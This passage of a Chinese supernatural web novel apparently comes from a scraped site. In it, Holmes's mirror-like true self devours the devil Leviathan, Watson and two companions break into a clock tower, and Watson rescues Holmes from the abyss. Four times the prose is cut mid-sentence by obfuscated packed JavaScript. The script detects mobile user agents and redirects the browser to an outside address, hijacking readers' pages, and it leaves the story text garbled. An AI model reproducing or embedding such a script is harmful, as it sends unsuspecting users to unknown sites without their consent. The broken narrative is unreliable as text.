它神奇地悬浮在距离地面不到半米的位置，将四周所有下落的残砖碎瓦，连带飘散的尘埃都凝固在半空中，随后振开散落。 那瞬间爆发的力道，被轻飘飘的化解。 女人模样的人首之蛇眼中有着凝重。 它尖鸣着。 【你甚至不是原样态？！你想要彻底和母体翻脸吗？！】 【我只是遵循本心。】 【更何况我的母体又不是你。】 两道在人类听来只是模糊呓语的声响，响彻在钟塔的内部。 人首之蛇拧动自己庞大但灵活的身躯，一时间拿不准对方的注意。 这究竟是这个体自己的单独所作所为，还是有其背后母体的授意？ 但它知晓，没有合适容器完全降临于此的自己，实力不是眼前这家伙的对手。 于是人首之蛇露出亲切的微笑。 【我们难道不能合作？】 它伺机想要绕过对方的正面，寻找一击必杀的机会。 【餐盘只有一个，美食只有一份，刀叉却有很多。】 【谁都不想拱手让人。】 祂说道： 【更何况， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856724|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我对某人做出过承诺。】 【什么承诺？】 【要让餐桌旁的食客全部认输。】 【你真是疯了！】人首之蛇尖叫着。 【你难道没有发现吗？】 这次轮到回答者提问，可祂没有明说问题是什么，只是饶有兴趣地收集线索，做出假设，目前又在进行实验，期待着验证结论正确与否。 【我在这里发现了很多有趣的事情。】 【其中一项是，能够根据反向存在的仪阵或仪具，找到背后的连接者位置。】 【渺小的目标很难寻找，但庞大的目标总是非常显目。】 人首之蛇惨白的身躯表面再度生长出几条畸形的手臂，大量汲取背后魔鬼力量的超凡生物，已经有接近四分之三利维坦本身的实力。 嫉妒的魔鬼将这里再度往深渊拖拽而去，-8的维度不再能承载它的存在。 他们连带整个庄园再度下沉。 直至疯狂侵蚀全部，让所有活着的生物再度变异成更加狰狞，且远离人性的怪物。 堕入更深维度的钟塔时而变成倒垂的苍翠高树，时而又被潮湿阴冷的湖水灌满。 常识不再能够继续支持人类理解这片区域的存在原理，和运转方式。 越是接近魔鬼们的所在地，无序与混沌，荒诞与疯狂，才是这里常常演奏的主旋律。 现在这条人首之蛇能够以畸形的手臂迅速在墙壁上爬行，锋利的指节处吐露恐怖的骨刺，只是轻微的划过，就足以令那些坚硬的建筑基石倒塌碎裂。 人首之蛇的速度快得惊人，即便是目前人类超凡者里的强者也难以看清。 正面挥动数条手臂上的尖爪时，好似骤然响起的惊雷声会炸得人双耳失聪。 可它的动作在靠近对手的时候，就像被突兀按下了暂停键。 任何狰狞的动作都被凝固在半空之中，无法继续行动。 人首之蛇露出嘲讽的笑意。 【上当了！】 它灵活的蛇尾再度生长，以一种诡异刁钻的方式绕到对手的身后。 下一秒，那蛇尾的尖端自主分裂，生长出新的畸形手臂，再狠狠以利爪作为武器刺去。 【只是用简单的推理，也能知道你的目的。】 【所以，上当的会是谁？】 猎物转身的刹那，就已经成了真正的猎手。 发现背面才是正面的人首之蛇发出惊恐不已的声音。 【不可能！怎么会这样！】 霎时间它感觉自己的精神都要被撕扯分裂。 意识开始消退，直观的体现是，那庞大扭曲的蛇身也开始变得不再稳定，逐渐消散不见踪影。 人首之蛇溃散的一部分逃回本体的怀抱之中。 嫉妒的魔鬼猛然惊恐地睁开眼。 事实上，祂以为不可能的事情就是的的确确在发生。 主动跳进餐盘里的食物，此刻竟然还有余力拿起刀叉再进行反击。 藏于人首之蛇身体里的力量顾不得容器的溃败消散，几乎可以称得上是连滚带爬地想要回归本体。 这张餐桌危险重重，祂需要重整旗鼓，才能有信心回到这里再分一羮。 但就在这时，食客僵住了。 因为祂忽然发现，发起反击的食物不仅能自己跳出餐盘，对方甚至还在……离开餐桌的范围……？ 嫉妒的魔鬼这次发出惊恐的尖叫。 祂似乎看见餐桌主动伸出了手，攥紧了想要离席的祂。 25.25 被信徒们尊奉以“利维坦”之名的魔鬼想要仓惶逃离。 脱离人类所能理解的知识范畴，这片区域的时间与空间都是错乱的。 如同杂乱/交叠在一起的房间，共同组成数个连绵不断的房屋群。 打开第一栋别墅的大门，见到的可能是第四栋别墅的卧室，掀开卧室床上的被褥，又发现第九栋别墅的花园近在咫尺。 前一秒或许还看见厨房的锅里咕咚咕咚煮着热汤，下一秒再从某个房间回到这里时，可能就会看见锅里的热汤已经被冻成了冰块。 对于实力强大的魔鬼而言，可以轻易捕捉到其中的规律，并有条理计划自己的前行路线。 利维坦飞速从餐桌旁抽身，想要赶紧远离这片区域。 不管在途中撞到谁也好，祂都不能继续待在这里！ 曾经的祂明明从未知晓恐惧是什么，但不知何时，祂也变得越发像人类，明白了面对真实死亡的恐惧和敌意。 以人类的感知来看，或许只有一秒的时间，祂已然拉开了遥远的距离。 可下一秒餐桌重新出现在祂的眼前。 【所以，还要垂死挣扎地逃跑吗？】 利维坦的尖啸充斥着整个房间，祂发觉到对方甚至不仅仅是打算杀死祂，而是—— 无法抵抗的吸引力犹如黑洞出现在餐桌的正中。 黑色的漩涡里有数百只眼睛低垂着，像是陷入沉眠，唯有少数的眼睛抬头仰望上方，恰好与利维坦对视着。 不——！那是镜子！是那家伙的本体！ 祂将本体藏在了—— 然后，镜子和眼睛们忽地一起微笑起来。 它们张开嘴唇，露出牙齿，将利维坦吸入，然后静静地用牙齿研磨再咀嚼，最后吞下消化。 它们眯起眼眸，像是在感慨这样的美味难得一见。 利维坦垂死前的哮鸣仍旧没有消散。 【怪物！你和祂才是真正的怪物——！无处容身的、徘徊于夹缝中的怪物！】 被魔鬼都称之为“怪物”的存在沉默不语，像是忙碌于吞食和消化的过程，镜子里外的两个存在大口分食了魔鬼，然后重新归于平静。 不久后，抑或者，对于这片被拔高的维度而言，是许久后，餐桌旁出现了第二道声音。 【有家伙缺席了。】 第三道声音说：【祂可能是率先擅自行动起来。】 【会不会是翻船了呢？】第四道声音笑嘻嘻地说着。 【利维坦不像是过分轻率的样子。】 【可淹死的，大部分都是会游泳的人哦。】 片刻后，响起第五个与众不同的声音。 【那就不用等祂了，我们先入局……规则还是像老样子，‘果实’一旦得手离开餐桌，则意味着狩猎游戏结束，所有参赛者只认结果，不认过程。】 话音落下的时候，餐桌旁重新归于寂静。 *** 维度-10的世界，被拖拽而下的金玫瑰庄园里异变从生。 失去魔鬼力量掌控的庄园之中群魔乱舞，人首之蛇再度异变成更加狰狞恐怖的怪物。 它们仿佛长出蜘蛛的八爪，用尖利锋锐如刀的利爪捕杀视野中每一个活着的同类或异类。 约翰三人只感觉天摇地动。 眼前那个老人头颅的人首之蛇已经被轰掉脑袋死亡，但更多疯狂的蛇群还在一波接一波的往这里涌来。 艾伦踩在像是浸满鲜血的土地上，感觉自己更像陷进了难以脱身的沼泽地中。 他脸色苍白，看起来快对眼前这种诡异血腥的场景吐出来。 但即便如此，他也不忘眼疾手快地将身旁年轻人的头猛地按进泥里。 被迫吃了一大口带着血腥味泥土的马夫，危险地躲过从暗处扑杀过来的其他人首之蛇。 约翰抬手，尽管内心不安恐惧，但扣下扳机的手仍旧非常稳定。 一声轰鸣，秘银子弹再度解决这只怪物。 马夫呸一声吐出血腥味的泥。 三人满身狼藉地来到钟塔门前。 艾伦用力反复拉扯了几下金属门，金属门像是镶嵌在墙上一样纹丝不动，甚至反向长出了荆棘刺伤他的手掌。 艾伦满脸绝望地说道： “打不开！” 锁死的门锁上有一行小字，定睛看去，正是“亚历山大·福诺克”的字样。 “哈……想要打开这扇门，居然还要那个名字做敲门砖。” 马夫没好气地说道。 天上开始下雨。 但三人抹了把脸，发现这雨水是古怪的红色，带着一种经久不散的铁锈味，像是某种生物垂死前滴落的血液。 直接接触得越久，幻觉、耳鸣和晕眩的感觉就越强。 不能再拖下去。 要是继续待在这雨中，可能会引起更糟糕的后果。 远处怪物的嚎叫变得越发恐怖。 艾伦看向被部分人首之蛇追逐的那个名字，然后绝望地发现它距离三人越来越远。 如果现在冒险去追那个名字，多半他们也会在血雨中变异，或是直接被蛇群吞没。 “怎么办……” 几秒的死寂后，约翰的回答，与另一个年轻人的动作同时给予回应。 “踹门！” 金发蓝眼的马夫动作没有丝毫的犹豫。 艾伦喊道：“荆棘会刺伤你们的！” “那也比在这里等死要来得强！”马夫拉开前方的两人，又对约翰说道：“省着你的子弹！让我来！” 他往后倒退几步，不顾自己腿上淋漓的鲜血，再度助跑后狠狠用肩膀撞向那长满尖锐荆棘的门扉。 没有那个名字做敲门砖，那他就自己成为一块敲门砖！ 就如他自己的人生，断不可能因为一个名字，就变成完全不同的模样！ 他宁可因为在撞击这扇门的时候自己粉身碎骨，也绝不愿意就这样认命倒在门外，当一块悄无声息的垫脚石！ 一下！两下！三下！ …… 他左右侧肩已经被荆棘刮得没有一块完好的皮肤，刺目的红色之下几乎快要露出森森的白骨。 就在他感觉自己快力竭时，左右方向各有一只手撑住了他的背部，让他没有倒在泥泞之中。 “不要太过逞强。”约翰在他背后说道。 艾伦声音发颤，“主……我怀疑这真是我的劫难，这家伙……如果当时他不这么好心，我甚至都不会再考虑回来救他。” 马夫咧嘴笑了笑，“我要是当时不好心，你不是都倒霉得出不去了吗？” 艾伦说道，“从始至终都是我倒霉！” “阻止不了霉运的到来，但好歹算是收获了一份友情。” 约翰说道： “一个人撞不开，我们三人一同用力再试试！” 三人这次同时调整好位置和方向，以肩膀为核心用力点，狠狠地撞向钟塔底部紧闭的金属雕花大门。 门被撞得发出哐当一声巨响，随后开始大幅度地摇晃起来。 在反复多次的撞击后，令这扇大门彻底锁死在墙壁上的铁律，也因为他们的持之以恒而松动。 三人此时都算得上是遍体鳞伤，约翰忍住了肩膀附近传来的剧痛，将秘银子弹送入身后长出蜘蛛长脚的人首之蛇头颅眉心。 现在弹夹里子弹快全部用光了，那他最后的武器，就只剩下手中这只略显沉重的金属枪壳。 因为意外的突发情况，原本埋伏在庄园外的力量已经不能提供帮助，打不开身后的大门进行自救，他们就只有死在这里的结局！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862177|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “开门……见鬼！怎么还不开门！” 艾伦咬着牙，不顾自己的伤势继续撞门。 “哈……大少爷也会说脏话了！你难道不是信奉福音教的吗？” 马夫哈哈大笑，他的伤势更严重一些，但此刻比艾伦还要开朗。 “我说主只是习惯！”艾伦喊道。 大门已经松动，但还未完全打开。 落下的血雨令人头脑发晕，像是在阴冷潮湿的天气里，舒适地泡上一次热水澡，叫人忍不住在这温暖中昏昏欲睡。 他们两人的皮肤表面逐渐浮现苍白，仔细看去就与那些怪物的皮肤一样。 马夫龇牙笑道：“看样子时间不多了……活两个总比死三个要好！” 他抢在艾伦之前，一把拽住了锁芯里最锋利的荆棘，要将它彻底扯出来。 荆棘如过于锋利的尖刺要直接刺穿他的掌心，像是汲取到难得的营养，以极快的速度从手臂往上缠绕，最后即将扎根在他胸腔里那颗跳动的心脏上。 “你真是疯了！”艾伦恨不得高声尖叫起来。 “我要是清醒地疯了，也比浑浑噩噩连人类也不是地活着要好！” 金发蓝眼的青年咆哮着，然后再度用力将荆棘往外拉扯。 “那我也真是疯了！” 这次艾伦也伸出了自己的手，猛然加入，与他同时用力。 突如其来的力量，使得他们事半功倍地将荆棘全数清理。 剧痛像荆棘要在他们的大脑里扎根，但逃生的门扉在人力合作下缓缓被打开。 “走！” 满身血污的约翰双手各自扯住一人的后衣领，将他们往门里拉去。 但死死缠绕的荆棘要将两个年轻人拖向无底的深渊之中。 约翰拿起左轮。 荆棘中心翻出一只森冷的赤红蛇瞳，像是在嘲讽他的枪膛里已经不剩一颗子弹。 是的，他的枪膛里的确不剩了，但他的烟盒里还剩下最后一颗备用。 他从来不打无准备之仗。 枪口迸裂耀眼的花火，最后一颗秘银子弹逆风而行，精准地命中那团荆棘的正中。 凄厉的哮鸣声好似拉响的警报响彻天际，四周的人首之蛇像是受到惊吓一样纷纷四窜逃离。 锋利的荆棘被火燃烧化作了灰烬，失去继续拖拽他们的力道和能力。 约翰将两个年轻人拉进塔楼中，用内部自带的巨大木柜暂时封死大门。 残酷的战斗终于短暂地远离他们一瞬，虽然现在所有人的状态都不是很好，但至少他们三人都还活着。 在昏暗的塔楼内，尘埃混合着阴湿的气息弥漫在鼻尖。 艾伦和另一人仰面倒在地上，约翰背靠着木柜看向他们。 “先生们，还有力气吗？” 马夫忽然开口，“我好像记起了一些事。” 受伤情况较轻的艾伦恨不得当场跳起来。 “你别告诉我，这里面还有那些该死的怪物！” “这倒不是。”他露出灿烂的笑容，“我是指，我想起来我叫什么了。” “在经历过自我怀疑，妄图堕落，但遇到你们又不甘放弃后，靠自己……我想起了自己的名字。” 他的手像是拿着什么，从地面的尘埃里举起。 蒙上尘埃的名字被拂开黯淡的灰尘，在他的手中重新恢复耀眼夺目的光。 那不是因为饰以黄金，镶以宝石，佩以珍珠的璀璨，而是因为这个名字本身就熠熠生辉，犹如明灯照亮这片空间。 这个名字缓缓沉入他的胸膛，谁也无法再将其夺走。 金发蓝眼的青年在尘埃里，露出灿烂耀眼的笑容。 “现在可以再重新自我介绍一下。” “先生们，我的名字是亚历山大·福诺克。” 26.26 艾伦感觉自己大脑开始放空。 他张开嘴，像目前市面上新推出的那款鹦鹉牌复读机一样结巴地重复这个名字。 “亚、亚历山大·福诺克？” 那个失踪多年的福诺克公爵独子？ 那个在庄园里，被无数贪婪者疯狂嫉妒想要的名字？ “对，我叫亚历山大·福诺克。” 金发蓝眼的马夫，还是像和他们初次见面时那样，大大方方地伸出手来。 他的手掌上还沾着一些擦不净的血红泥点。 不过他们三人现在都是满身血污，谁都不比谁看起来整洁干净。 但谁也没在意。 不是出于对这个名字阿谀奉承的意思，而是好奇…… “你刚才怎么突然想起了自己的名字？” 约翰和他的手掌相互碰撞了一下，感觉自己像是隐隐抓住了破局的关键。 如果此时在这里的，是他那位舍友，想必以他天才的头脑，不用几秒就能抓住关键，但他还需要更多的线索再进行整合推理。 “其实我感觉，应当是我们接近了某种回归现实维度的仪具或仪阵。” “名字对于神秘侧而言有特殊的意义。” “这是一个对于本我而言，非常重要的锚点。” 亚历山大和他握过手，接着将看上去昏昏沉沉的艾伦从地上拽起来，像好哥们儿一样揽住他的脖子。 “就像我的名字指向我，艾伦的名字指向他。” “当你说‘亚历山大，往东边走！’的时候，实际上信息……或者从神秘学角度而言，我就会感知到，甚至得到一些东西。” “所以，因为这处庄园流传出来的‘能够获得其他更好的人生’，也是通过更换名字来达成最终目的？” 约翰问。 亚历山大点头。 “只是能完成这样复杂的仪式，也只有比恶魔们更强大的魔鬼才能做到。” “魔鬼们觊觎人类的灵魂……这也是祂们的骗局。” 约翰喃喃自语。 “没错。”亚历山大肯定。 艾伦脸色苍白，像是受不了在这里继续讨论这样高深中又带着些许诡异的话题。 “我们真的要在这里继续吗？先早点离开这种鬼地方才对！” 他指了指脚下一楼不知何时出现在阴影里的道路。 “当然我感觉，路肯定是往上面走的才对。” 在三人头顶，似乎有隐隐的光明，与洪亮的钟声同时从那里传来，像是已有天使等候其外，只差他们主动从漆黑的泥潭中伸出一只手，就会带着他们脱离苦海。 “你的直觉和灵感甚至比我还强……”亚历山大看向艾伦，“不考虑成为一名使者吗？” “不用！”艾伦斩钉截铁地摇头。 可约翰的视线一直落在下方，那像是通往更深地下室的石阶上。 就是从刚才开始，如果他没有听错的话。 他似乎听见了歇洛克的声音。 还有些在说“餐桌”“承诺”“疯子”“怪物”之类的零碎的呓语，都是不属于这世界上人类所能理解的范畴。 那些话语是模糊的、并不清晰的。 但因为太具有个人冷静成熟的特点，所以让他只听了一耳，就认出了那个音色。 “华生医生？” 此时的艾伦已经一脚踏上了往上而行的楼梯上，发现他还在往下方看的时候，不由担忧地出声提醒。 “我们快走吧！” 亚历山大看了看四周顺着塔底要往上蔓延的深绿菌斑，也赞同艾伦的说法。 “在深渊中待的时间越长，越容易陷入疯狂，我们还是早点脱身比较安全。” “但，你们听见下面有声音吗？” “那像我朋友福尔摩斯的声音。” 约翰不确定地说道。 艾伦和亚历山大侧耳仔细聆听，但都摇头表示没有听见。 约翰站在往下的楼梯口看过去。 那里黑得看不见任何景象，像是纯粹的黑色油墨覆盖住一切。 可他确信自己刚才的确听到的是歇洛克的声音，并非幻觉，也非假象。 依靠着自己纯粹的直觉，他分辨得出，歇洛克在下方有说自己似乎被困住，而逃生的出口在上方。 他握紧手中已经没有子弹的左轮，这次毫不犹豫往下奔去。 “华生医生？！”艾伦惊讶得嗓子都快破音。 “你们先走！” “我的朋友还在下面！” “等等！你也不一定就能将他救出来啊！” 约翰回头看向他们两个年轻人。 “但如果不去的话，我也会一辈子良心难安，就像你当时也选择再回来这个庄园一次一样。” 他笑笑。 接着只身重入黑暗之中。 上一次是歇洛克毫不犹豫跳入河中拉上了他，这次他也会毫不犹豫地跳下去救起自己的朋友！ 黑暗试图吞没他，可他像锋利无比的光刺破了那层漆黑的帷幕！ *** 祂在坠落，还在不停地坠落到更深处。 人类的皮囊已经不堪深渊的侵蚀，碎裂成足以叫普通人看上一眼就会成为永生梦魇的恐怖模样。 支撑起皮囊的内里反而成了外在。 在人类看来，应当被称之为镜子的存在，于这片空间里静静坠落。 祂的镜面平整，装饰古典，又以人类无法理解，但直观可以感受到极度优雅美丽的方式独立存在着。 这片虚无的黑色空间里，时而有闪烁如流星般的存在飞过，但那些存在哪怕飞过镜子正面，那里也没有任何倒影出现。 不时，一只雪白的鸦飞跃来到镜子的面前。 白鸦口吐人言。 “你很难继续保持人类的姿态，回到那里去了。” “想要再找到类似那样的躯壳，可不是一个简单的事情。” 空间里响起利维坦的窃笑。 即便祂已经被吞食，但在没有完全消化之前，还能照常发出呓语般的声响。 【那样似人又非人的躯壳，是继承魔鬼最佳的容器，远比任何一个人类都要更加合适，可惜没有救援的你已经‘死去’，除非那个人类还能再度创造第二个福尔摩斯来。】 “我倒是觉得，人类远比我们想象中来得更加可怕。” 镜子里影影绰绰露出了什么，但看不真切。 祂说道： “哪怕是魔鬼，也在被人类的行为模式、思想观念所影响。” “贪婪、暴怒、嫉妒、傲慢……这些情感原本属于人类，但逐渐影响到了我们。” “这真是比任何一种仪具或仪阵都强大的‘术法’。” 说话间，利维坦残存的精神发出惊恐的惨叫。 祂的呓语彻底消失。 因为在此刻，祂被完全消化，转换成了不反射任何景象的镜子的力量。 白鸦与镜子像是完全没有在意利维坦的发言。 祂们用人类的发言方式，继续着自己的对话。 白鸦发出嘶哑的笑声。 “你远比我接触的更多更深。” “需要我为你准备新的容器吗？” 镜子发出叹息。 “福尔摩斯是最适合我的。” “除非约翰·华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868670|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生还能再创造一个福尔摩斯出来。” “但也不是之前那个。” “重新适应一个身份，再融入人类的维度，还需要漫长的时间。” 白鸦收拢翅膀，落在镜子上方。 祂说道：“你没有考虑过，华生会来救你吗？对于你我而言，在人类维度上的生死是没有意义的，我们是猫箱中的猫，生或死以人类的观测为最后的认定。” “他们觉得我们活，我们就活在那里；他们觉得我们死，我们就死在了那里。” “只不过后者是再换上另一具容器，重新融入而已。” 白鸦的眼眸里浮现玩味的探究欲。 “可你被人类影响，现在的你已经有一部分在以人类的思维方式考虑，你甚至在想……在期待有没有人在意‘歇洛克·福尔摩斯’的生死。” “那么你到底是谁？你到底希望以什么样的名字，待在人类的维度世界里？” 镜面里逐渐浮现出一个高瘦模糊的人影。 人影抬首看向白鸦，反问道： “那么你自己又如何？” 白鸦展开羽翼，发出暗哑的笑声。 “我还未找到属于自己的答案，就如你一样。” “但是已经有人先找到了自己的答案。” 祂重新化作一只飞鸟，猛地展翅飞了出去。 闯入这片空间的某人跌跌撞撞地撕裂凝滞的黑色，他本身就像一道延展的明光，不断往更深的黑暗之中突破着。 然后他听见了翅膀拍击的声音。 来不及做出其他反应，约翰只看见一只白鸦猛地从他头顶越过，随后视野所及的范围隐约变得明亮了一些。 碎石和倒塌的建筑横在脚边，此刻他已经无法确定这里是否还属于庄园的范围。 更远的暗处好像有一些反光，有一个高瘦的人影立在那里。 约翰眯起眼，不确定站在那里的是不是自己要找的人。 于是他只好一边前进，一边呼喊自己要找之人的名字。 “歇洛克？！是你吗？” “你那边还好吗？需要帮助吗？” 人影顿了顿。 在约翰还没有靠近的时间里，镜面中呈现的形态一直在反复地变化。 时而是年迈的老人，时而是稚嫩的幼童，时而又成了温婉的女性，时而再成粗狂的男性。 甚至不仅仅是人类，动物、植物、哪怕按理说应当是无机质的金银铜器，也是可选容器的范围之内。 但当约翰的声音传来时，镜面的形象最终还是迟疑地确定在歇洛克·福尔摩斯那高瘦英俊，但满身狼狈的形象上。 随着医生的声音与急匆匆的脚步声越来越近，犹如猫箱被缓缓推开。 光明压迫着黑暗，让其逐渐退步。 随着来者的靠近，破损的皮囊重新修复部分，将典雅的黑镜重新包裹。 祂重新回到那个满身是伤的身躯之中。 猫箱被打开。 里面的猫睁开了眼，和来者对视着。 约翰终于松了口气。 医生已经是满头大汗，在找到歇洛克的瞬间，他感觉自己悬着的心落下。 “主啊……你怎么会受伤这么严重！但好在你还活着！” 侦探倒在地下的废墟里，凝视着携光而来的人。 他问道：“你为什么特意冒着危险来这里救我？” 约翰正忙着给他止血。 听到他的提问，于是在忙碌之际，理所当然地回答。 “你之前也冒着生命危险下水救了我。” “我们是朋友。” “现在手给我，我背着你上去！” 27.27 医生和侦探踉踉跄跄走在往上的台阶上。 下来的路就像堕落的过程，轻松又惬意；可想重新回到地面上，就像顶着千钧的重量，要甩开身后几乎快凝固成实体的黑暗，才能回到最初的起点。 不过他们两人互相搀扶住彼此，即便都受了伤，脚步不复之前有力，但依旧很是坚定地沿着光明铺成的台阶向上前行。 黑暗被他们坚定地撕开一条裂缝，头顶漆黑的天幕露出狭窄的缝隙。 约翰用自己的手卡住那条缝隙，尽可能将其往两边拉扯，如同打开一扇紧闭的大门，门后就是他们要回去的道路。 但这扇门坚固得难以想象，不管是用尽全身的力量，还是加上金属的枪托猛砸，都无法轻易打开。 歇洛克往上看去。 如果他没有受限于人类的躯壳，自然能够使用非人的力量轻松打开这扇连接两个维度的大门。 可他现在是人类，人类想要动用超凡力量，必须借助仪式或仪具。 五阶以上的使者能够不携带仪具，或借助仪式，是因为他们已经将自己的身体锤炼成了仪具的一部分，铭刻在灵魂深处的仪阵，更是可以直接发动使用。 他应当早一点像改造那间公寓一样，改造这副躯壳的，要不然也不会现在陷入这番窘境。 “猫箱从里面是打不开的。” “什么？” 约翰回头看向自己的朋友。 只见歇洛克似乎略有所思，然后在这时说出一个看似与现状并不相关的问题。 “华生，我一直觉得人类很脆弱，不管是生理还是心理上。” “需要依靠进食休息来维持自己的生命，随时都可能因为受伤而彻底死亡，连带所谓的‘漫长的一生’其实也很短暂。” “更难以置信的是，人类需要依靠着某人或某物才能活下去。” “每个人……至少在使者身上更为明显，他们的锚点都寄托在他人的身上，依赖着他们来锚定自己的人性。” “他们渴望着非人的力量，同时又贪恋着人性的酸甜苦辣，不让自己彻底堕落成恶魔。” 他像是观察着某项实验的结果，于是做出如此感慨。 “在今天之前，我总觉得他们愚蠢。” “既然想要冲破人类的极限，寻求摆脱自身脆弱的奇迹，又何必将自己的锚点寄托在同样脆弱的同类身上。” 歇洛克说道。 约翰认真聆听他的话，就像平时聆听他精彩绝伦的推理一样。 既不恐慌，也不嫉妒。 他的眼里有纯粹的求知欲，还有对朋友的关心。 于是侦探笑了一声，就像初次见面时自己做出推理，给出结论那样说道： “因为直到现在，我们才发现，奇迹这种在不可能中的可能，只有人类才能创造。” “生死不定的猫箱，只有人类才能创造。” “哪怕那个人病入膏肓，即将死去，可他只要在某个时间点做出某个选择，可能就会创造奇迹。” 他们现在就被困在了“猫箱”之中。 之前约翰成为主动打开猫箱的人。 现在外面还有可以能为他们打开箱子的其他人吗？ “说实在的，我觉得我们应该把雷斯垂德压在外面随时待命。”歇洛克说道。 约翰回应：“那或许我们也可以信任一下其他人。” 猫箱被打开了。 一个声线里明显带着害怕和颤抖的试探声传来。 “华生医生？！你还好吗？！” 艾伦与亚历山大没有不告而别，反而冒着风险返回这里来营救他们。 歇洛克看向身边的搭档。 约翰强调，“看吧，我就说不是所有的人都那么冷漠无情！” 歇洛克：“好吧，也有可能是你影响了其他人。” 约翰：“那我岂不是能转行去做一名教师。” 约翰说着，又提高音量对门边喊道，“在这里！艾伦，我们需要你们来搭把手！” 艾伦飞速推开那扇门。 从外部打开的时候，它似乎完全没有沉重的手感。 此时艾伦看到约翰身后背的人时，不由一愣。 “主啊……！福尔摩斯先生！你怎么会伤成这样？！” “我替他进行了一些紧急救治，不过更多的治疗还需要专门的仪器。” 约翰语气仍旧平稳。 “这里看起来也并不安全，我们需要尽快离开。” 艾伦连连点头，伸手要来扶住看起来受伤不轻侦探另一边肩膀的时候，亚历山大挤过来。 “我来吧，艾伦你先往上。” 艾伦嘟囔了一句“我还比你大一岁”，但并未想太多就急步先去开路。 亚历山大扶住这个人的肩膀。 触手可及之处竟然也是和人类一样的体温，令他反而有些诧异地多看了对方一眼。 他沉默片刻，对约翰问道，“华生医生，你要救的朋友竟然这位……大名鼎鼎的歇洛克·福尔摩斯先生吗？” 前方的道路隐藏在昏暗的光线里，约翰仔细分辨落脚的地点。 闻言抬头看向这位金发蓝眼的年轻人。 亚历山大直言，“不得不说您的名声，哪怕是被长期困在这座庄园里的人也有所耳闻。” 约翰说道，“歇洛克！你已经如此出名了？！” “这份名声是好是坏，可无法保证。”侦探对此的反应平平，“毕竟我的乐趣只是解开那些有趣的谜题而已。” 前方的光亮越发明显刺眼。 伴随着艾伦惊喜的声音，歇洛克也眯起眼缓缓说道，“先生们，看上去我们终于能脱离这片深渊区域了。” *** 亨伯侯爵正满头是汗地指挥自己的家仆去门口堵住来势汹汹的一群记者，和鼓动这群记者前来的福诺克公爵本人。 他名义上的“儿子”，小亨伯正忙着将那些昂贵的黄金珠宝塞进自己的贴身衣袋里，似乎比这里的任何人都急着落荒而逃。 看见小亨伯的动作和态度，亨伯的愤怒更是无法抑制。 “现在这个时候你就想着准备逃跑？！” “要不然呢？” 小亨伯讪笑着。 “我又不是真的亨伯家人，真要做与船共沉沦的船长？” “你该不会是当侯爵时间过长，真以为自己就是亨伯侯爵？” 亨伯被说得面色难看，不过还是呵斥了一声。 “你以为你现在就跑的掉？！” “外面来的可不只有记者和苏格兰场的警探，女王的白骑士团也隐藏在屋外！” “现在要紧的是，赶快把亨伯以前藏起来的账本毁了！” “没有对证可以证明矿洞坍塌的事情和我们有关，女王陛下也不好继续在这件事上追责调查，否则你和我就都等着直接被投进纯白监狱受刑！还是说，你有自信能逃脱骑士团那些使者疯狗一样的追捕？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872325|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小亨伯用不符合自己应当有的形象教养咒骂一声，最后他还是不情不愿地先暂缓收拾行囊的动作。 “我记得之前那个老不死的家伙把账本放在自家庄园的钟塔里。” “快去找！” 现在顶着亨伯侯爵名号的人急得像热锅上的蚂蚁。 “没了账本，我们咬死说矿洞坍塌是因为那群矿工们的操作不当就行，没了这个矿洞，其他赚钱的项目还能照样带来收益！” “千万别让门口的人进来，要是让福诺克先一步找到账本，我们肯定没有翻身的机会！” 小亨伯其实并不想继续被卷入这件事中。 他本就不是真正的亨伯家族之人，之前获得这个身份后拼命压榨奴役那些底层的矿工，哪里想到今天会出现这样舆论民情反噬的局面。 可他转念又舍弃不了那些荣华富贵与金银财宝，此时听到另一个“同行”的劝说，也觉得这件事似乎不是没有回还的余地。 于是他咬咬牙，点头答应。 “我先堵着门口……你赶紧去！要是晚了，福诺克真带着那些骑士团的使者冲进去，我可是一点办法也没有！” 